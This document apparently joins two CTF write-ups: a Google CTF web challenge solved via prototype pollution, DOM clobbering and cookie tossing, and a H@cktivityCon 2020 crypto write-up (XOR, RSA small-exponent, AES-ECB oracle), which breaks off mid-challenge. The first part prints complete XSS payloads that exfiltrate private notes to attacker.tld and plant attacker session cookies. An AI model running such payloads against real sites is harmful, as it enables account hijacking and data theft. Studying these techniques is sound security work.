By default, the application loads the user from a JSON object that returns `/me` endpoint.```jswindow.addEventListener('DOMContentLoaded', ()=>{ fetch('/me').then(e => e.json()).then(make_user_object);}
...
class User { #username; #theme; #img constructor(username, img, theme) { this.#username = username this.#theme = theme this.#img = img } get username() { return this.#username }
get img() { return this.#img }
get theme() { return this.#theme }
toString() { return `user_${this.#username}` }}
function make_user_object(obj) {
const user = new User(obj.username, obj.img, obj.theme); window.load_debug?.(user); ...```
`/me` endpoint```httpHTTP/1.1 200 OKContent-Type: application/json; charset=utf-8
{"username":"guest","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{}}}```
### Debug version
On the settings page there is a hint about debug version of the application, which is enabled by adding a parameter to the query-string.```html
```
In the debug version, script `/static/scripts/debug.js` is added to all application pages, allowing an attacker to change user's loading logic.```jsclass Debug { #username; constructor(username="") { this.#username = username } toString() { return `debug_${this.#username}` }}
// Extend user objectfunction load_debug(user) { let debug; try { debug = JSON.parse(window.name); } catch (e) { return; }
if (debug instanceof Object) { user.debug = new Debug(user.username); Object.assign(user.debug, debug); }
if(user.debug.debugUser){ user.toString = () => user.debug.toString(); } if(user.debug.verbose){ console.log(user); console.log(user.debug); }```
### User object
When user object is loaded, the application stores this object in `document` and calls the `update_theme` function. This function calls the JSONP callback stored in user object to set the selected theme.
```jsfunction make_user_object(obj) { ... window.USERNAME = user.toString(); document[window.USERNAME] = user; update_theme();}
function update_theme() { const theme = document[USERNAME].theme; const s = document.createElement('script'); s.src = `/theme?cb=${theme.cb}`; document.head.appendChild(s);}```
```js{"username":"guest","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{}}}```
As a result, the following endpoint will be called `/theme?cb=set_light_theme````set_light_theme({"version":"b1.13.7","timestamp":1598432753476})```
The callback value is filtered, only characters that match the regular expression `[.=0-9A-Z_a-z]` can be used. Thus, if attacker overrides the callback value, this will make it possible to execute one arbitrary function or assignment.
### Window name
To start exploiting vulnerabilities, an attacker needs to set `window.name` property. This can be achieved through:
* `<iframe name="*attacker-controlled*" src="//task"></iframe>` (blocked via `X-Frame-Options: DENY`) * `window.open('//task', '*attacker-controlled*')` (must be triggered by a direct user action, otherwise it will be blocked) * Open a page controlled by the attacker, set `window.name`, redirect to the task Under these conditions, only the last option will work.
### Prototype Pollution
Using `window.name`, attacker can override the `theme` value in the `user` object.
```jsdebug = JSON.parse(window.name);...Object.assign(user, debug);```
Example:```jsuser = {"theme":{"cb":"test"}}Object.assign(user, JSON.parse('{"theme":{"cb":"alert"}}'))
user.theme.cb == "alert"```
To protect against this, the class `User` uses private fields with getters only.```jsclass User { #theme; constructor(theme) { this.#theme = theme }
get theme() { return this.#theme }}
user = new User({"cb":"test"})Object.assign(user, JSON.parse('{"theme":{"cb":"alert"}}'))
// Uncaught TypeError: Cannot set property theme of #<User> which has only a getter```
But this can be exploited using the Prototype Pollution```jsObject.assign(user, JSON.parse('{"__proto__":{"theme":{"cb":"alert"}}}'))
user.theme.cb == "alert"```
In the fixed version of the task, attacker cannot directly overwrite the callback of main object and can only affect `user.toString()`.
```jsdebug = JSON.parse(window.name);...user.debug = new Debug(user.username);Object.assign(user.debug, debug);...if(user.debug.debugUser){ user.toString = () => user.debug.toString();}```
By default, `toString()` function of user object returns a value with `user_` prefix```jstoString() { return `user_${this.#username}`}```
In order to return an arbitrary value, attacker can use an array as `__proto__`, for example:```{"debugUser":"true","__proto__":["foobar"]}
user.toString() == "foobar"```
### DOM Clobbering
As a result of exploiting Prototype Pollution, attacker can define any `document` field, but only if it is undefined.
```jsfunction is_undefined(x) { return typeof x === "undefined" && x == undefined}...// make sure to not override anythingif (!is_undefined(document[user.toString()])) { return false;}...window.USERNAME = user.toString();document[window.USERNAME] = user;```
If we check which of the document fields meet these conditions, we get the following.
```jsfor (name in document) { if (typeof document[name] === "undefined") console.log(`document.${name}`); }
document.all```
`document.all` is a read-only field that contains every element in the document (Hint was in the name of the task all this time). So if `user.toString()` will return `all`:
```document["all"] = user;...theme = document.all.theme;...callback = document.all.theme.cb;```
Now we need to return to the main function of the application - private notes.```html<script nonce="e75a76cccb1884de"> const note = "test"; const note_id = "a80b5c6c-35e4-4f35-8654-d6273078b39d"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/note/${note_id}`; note_url_el.innerHTML = `${note_id}`;</script>```
The content of the notes is filtered using DOMPurify, but the `id` and `name` attributes are available for use. To exploit the vulnerability and overwrite the callback, an attacker needs to create a `document.all.theme.cb` field that returns a controlled value when cast to a string.
Example:``````
`document.all.theme` will return an HTMLCollection since there are two elements in the DOM with id = theme.
!
`document.all.theme.cb.toString()` will return `http://test/`
The result of this combination of DOM Clobbering and Prototype Pollution is the next request `/theme?cb=http://test/````httptest({"version":"b1.13.7","timestamp":1598432753476})```
At this stage, we cannot use```jslocation=something.that.return.javascript.scheme({"version":"b1.13.7","timestamp":1598432753476})```since the application uses CSP```Content-Security-Policy: default-src 'none';script-src 'self' 'nonce-7a731d73bf5857d7';...```
But we can overwrite the `innerHTML` of an arbitrary element using```html``````jshttpstestx=document.body.firstElementChild.innerHTML=window.name.toString({"version":"b1.13.7","timestamp":1598439920882})```
### Self XSS
Since `<script src>` will not work directly from innerHTML, it is possible to wrap it in iframe srcdoc.```html<iframe srcdoc='<script src=/theme?cb=alert></script>'></iframe>```
Using callback chaining is possible: * Create script element in iframe * Steal a valid nonce from the parent page and set it in an iframe script * Set script content via innerHTML Exploit:```html<script> ifrs = [ "<iframe name=xss srcdoc='<script charset=fetch("/note/").then(x=>x.text()).then(x=>parent.location="//attacker.tld?c="+btoa(x))><\/script>'></iframe> ", "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.nonce=parent.document.body.lastElementChild.nonce.valueOf><\/script>\'></iframe>", "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.innerHTML=parent.xss.document.head.lastElementChild.charset.toString><\/script>\'></iframe>", ]; window.name='{"debugUser":true,"showAll":true,"x":"'+ifrs.join()+'","keepDebug":true,"verbose":true,"__proto__":["all"]}';
location='https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com/note/*ATTACKER_PRIVATE_NODEID*?__debug__';</script>```
And, we got Self-XSS, this report is not eligible for a bounty, closed.
### XSS
In the last step, we need to make the private note available to the XSS bot. Since there is XSS on `pasteurize.web.ctfcompetition.com`, an attacker can set a cookie on `*.web.ctfcompetition.com`, which will be available on `fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com`.
When checking authorization, task web server uses the first cookie in the HTTP header as a result. Since we are not overwriting the existing `session` and `session.sig` cookies, but adding another one, we need to set up the attributes which will make our cookies to be the first among others. Browsers sort cookies by the date they were added and by the matching path attribute prefix.
If the attacker adds the following cookies:```document.cookie='session.sig=*ATTACKER_SIG*; domain=.web.ctfcompetition.com; path=/note/foobar'document.cookie='session=*ATTACKER_SESSION*; domain=.web.ctfcompetition.com; path=/note/foobar'```
On HTTP request `/note/foobar`, the attacker's cookie will be sent first and the web server will authorize the user to the attacker's profile. For any other HTTP requests, the XSS bot will be authorized as usual.
### Final Exploit
* Create private note in attacker profile with DOM Clobbering
```htmlx```
* Create public note with XSS
```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content[]="-(document.cookie='session.sig=*ATTACKER_SIG*; domain=.web.ctfcompetition.com; path=/note/*ATTACKER_PRIVATE_NODEID*',document.cookie='session=*ATTACKER_SESSION*; domain=.web.ctfcompetition.com; path=/note/*ATTACKER_PRIVATE_NODEID*',location='https://attacker.tld/part2.html')-"```
* Attacker site
```html<script> ifrs = [ "<iframe name=xss srcdoc='<script charset=fetch("/note").then(x=>x.text()).then(x=>parent.location="//attacker.tld?c="+btoa(x))><\/script>'></iframe> ", "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.nonce=parent.document.body.lastElementChild.nonce.valueOf><\/script>\'></iframe>", "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.innerHTML=parent.xss.document.head.lastElementChild.charset.toString><\/script>\'></iframe>", ]; window.name='{"debugUser":true,"showAll":true,"x":"'+ifrs.join()+'","keepDebug":true,"verbose":true,"__proto__":["all"]}';
location='https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com/note/*ATTACKER_PRIVATE_NODEID*?__debug__';</script>```
**Flag:** As for a reward, here comes your juicy flag **CTF{twitter.com/terjanq}** |
# **H@cktivityCon CTF 2020**
<div align='center'> </div>
This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/)
***
# Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack)
***
# Cryptography
## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life?
Download the file below.\[fossil](assets//scripts//fossil)
**`flag{tyrannosauras_xor_in_reverse}`**
**Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script:
```python#!/usr/bin/env python
import base64import binascii
h = binascii.hexlifyb = base64.b64encode
c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'
def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c```
This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit:
```python#!/usr/bin/env python
import base64import binascii
cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'
def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex.
We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier.
We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC:
<div align=center> </div>
So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it!
For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext.
For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext:
```python#!/usr/bin/env python
import base64import binasciiimport string
def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue```
and by running this script we get the flag:
**Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
## Perfect XORCan you decrypt the flag?
Download the file below.\[decrypt.py](assets//scripts//decrypt.py)
**`flag{tHE_br0kEN_Xor}`**
**Solution:** with the challenge we get a python script:
```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"
def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n
print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1
print("}")```
by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow...
at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False.
Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any):
```pythonimport base64from functools import reduce
mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457]
i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"
print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)):
p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1
print("}")```
And by running this more efficient code we get the flag in no time:
**Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457
## Bon AppetitWow, look at the size of that! There is just so much to eat!
Download the file below.\[prompt.txt](assets//files//prompt.txt)
**Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`**
**Solution:** With the challenge we get a text file with the following content:
```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619
e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723
c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902```
This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small.
For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack.
Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag:
**Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/
## A E S T H E T I CI can't stop hearing MACINTOSH PLUS...
Connect here:\`nc jh2i.com 50009`
**Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`**
**Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input:
btw if you don't see the image in the ASCII art maybe this will help:
By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end:
After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128:
furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode:
<div align=center> </div>
So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258).
Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end.
So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally:
if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character:
```pythonfrom pwn import *import refrom string import ascii_lowercase, digits
s = remote('jh2i.com', 50009)s.recvuntil("> ")
flag = ''
for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break
s.close()```and running this script gives us the flag:
**Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
## OFBuscatedI just learned some lesser used AES versions and decided to make my own!
Connect here:\`nc jh2i.com 50028`
[obfuscated.py](assets//scripts//ofbuscated.py)
**Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`**
**Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string:
and by reconnecting we get a different one:
this doesn't give us a lot of information so let's look at the script:
```python#!/usr/bin/env python3
from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii
iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip()
class Service(socketserver.BaseRequestHandler):
def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct))
def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct)
def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt
def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8")
if newline: string = string + b"\n" self.request.sendall(string)
def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip()
class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass
def main():
port = 3156 host = "0.0.0.0"
service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True server_thread.start()
print("Server started on " + str(server.server_address) + "!")
# Now let the main thread just wait... while True: sleep(10)
if __name__ == "__main__": main()```
From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them:
```python#!/usr/bin/env python3
from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii
iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip()
def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct))
def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct)
def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt
def send(string, newline=True): if type(string) is str: string = string.encode("utf-8")
if newline: string = string + b"\n" request.sendall(string)
```
